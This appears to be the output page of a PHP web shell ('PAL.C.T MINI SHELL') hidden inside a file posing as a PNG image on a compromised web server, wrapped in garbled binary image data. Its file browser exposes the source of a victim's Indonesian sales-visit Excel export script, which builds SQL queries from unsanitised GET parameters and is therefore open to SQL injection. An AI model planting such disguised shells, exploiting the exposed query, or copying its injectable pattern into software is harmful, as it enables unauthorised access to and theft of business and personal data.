php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/webhq/modul/web_contents/
upload
files >> //var/www/html/FTFL/webhq/modul/web_contents/xcelkunjungan.php

<?php
require('../../../inc/konek.php');
require('../../../inc/fungsi_tanggal.php');
require('../../../inc/excel_lib2007/Classes/PHPExcel/IOFactory.php');
require('functionweb.php');

if(isset($_GET['tgl_awal'])){
  $tgl_awal = $_GET['tgl_awal'];
}else{
  $tgl_awal = date('Y-m-d');
}

if(isset($_GET['tgl_akhir'])){
  $tgl_akhir = $_GET['tgl_akhir'];
}else{
  $tgl_akhir = date('Y-m-d', strtotime('7days'));
}

if(isset($_GET['staff'])){
  $staff = $_GET['staff'];
}else{
  $staff = "";
}

if(isset($_GET['jenis'])){
  $jenis = $_GET['jenis'];
}else{
  $jenis = "ALL";
}
if(isset($_GET['status'])){
  $status = $_GET['status'];
}else{
  $status = "ALL";
}

$objPHPExcel = new PHPExcel();

   
    $NO = 0;
    $sheet =array();

    $judul =array("Tgl. Kunjung ".DateToIndo2($tgl_awal)." - ".DateToIndo2($tgl_akhir));
    array_push($sheet,$judul);
    array_push($sheet,array());

    $tmparray =array("No.","Tgl. Kunjung","Toko","Nama Pemilik","Jenis","Sifat","Waktu Kunjung","Durasi","Titik Lokasi Awal","Titik Lokasi Akhir","Staff","Misi Kunjung","Catatan Kunjung","Status");

    $sgetkunjungan = "SELECT A.* FROM db_kunjung A, staff B WHERE A.uuid_staff=B.uuid_staff AND 1 ";
            
    $sgetkunjungan .= " AND A.tgl_kunjung >='".$tgl_awal."' AND A.tgl_kunjung <='".$tgl_akhir."' ";
    
    if ($jenis!='ALL') {
        $sgetkunjungan .= " AND A.jenis= '".$jenis."' ";
    } 
    if ($staff!='') {
        $sgetkunjungan .= " AND B.nama_staff LIKE '%".$staff."%' ";
    } 

    if ($status!='ALL' && $status=='BELUM') {
        $sgetkunjungan .= " AND A.sifat= 'JADWAL' AND A.waktu_out = '00:00:00'";
    } else if ($status!='ALL' && $status=='VISIT') {
        $sgetkunjungan .= " AND A.waktu_out != '00:00:00'";
    } else if ($status!='ALL' && $status=='EXTRA') {
        $sgetkunjungan .= " AND A.sifat= 'EXTRA'";
    } 

    $sgetkunjungan .= " ORDER BY A.id_kunjung DESC";

    $qgetkunjungan = $con->query($sgetkunjungan);
    

    array_push($sheet,$tmparray);   

    $x = 1;
    while($rgetkunjungan = $qgetkunjungan->fetch(PDO::FETCH_ASSOC)){
        $txtstatus = "";
        if ($rgetkunjungan['sifat'] == "JADWAL" && $rgetkunjungan['waktu_out'] == "00:00:00") {
            $txtstatus = "BELUM";
        } else if ($rgetkunjungan['waktu_out'] != "00:00:00") {
            $txtstatus = "VISIT";
        } else if ($rgetkunjungan['sifat'] == "EXTRA"){
            $txtstatus = "EXTRA";                            
        }

        $tmparray =array();

        $NO = $NO + 1;

        array_push($tmparray,$NO,DateToIndo2($rgetkunjungan['tgl_kunjung']),$rgetkunjungan['nama_toko'],fncnama_customer($con,$rgetkunjungan['uuid_customer']),$rgetkunjungan['jenis'],$rgetkunjungan['sifat'],$rgetkunjungan['waktu_in']." - ".$rgetkunjungan['waktu_out'],$rgetkunjungan['durasi'],$rgetkunjungan['koordinat_in'],$rgetkunjungan['koordinat_out'],fncnama_staff($con,$rgetkunjungan['uuid_staff']),$rgetkunjungan['misi_kunjung'],$rgetkunjungan['cat_kunjung'],$txtstatus);

        
        array_push($sheet,$tmparray);
        $x++;
    }

  $filename = 'excelkunjungan_'.date('Y-m-d H:i:s').'.xlsx';  
  
  header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  header('Content-Disposition: attachment;filename="'.$filename.'"');
  header('Cache-Control: max-age=0');

   
  $worksheet = $objPHPExcel->getActiveSheet();
  foreach($sheet as $row => $columns) {
    foreach($columns as $column => $data) {
        $worksheet->setCellValueByColumnAndRow($column, $row + 1, $data);
    }
  }

  //make first row bold
  $objPHPExcel->getActiveSheet()->getStyle("A1:Z1")->getFont()->setBold(true);
  $objPHPExcel->setActiveSheetIndex(0);
  $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');
  //$objWriter->save(str_replace('.php', '.xlsx', __FILE__));
  $objWriter->save('php://output');
  
  exit();

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`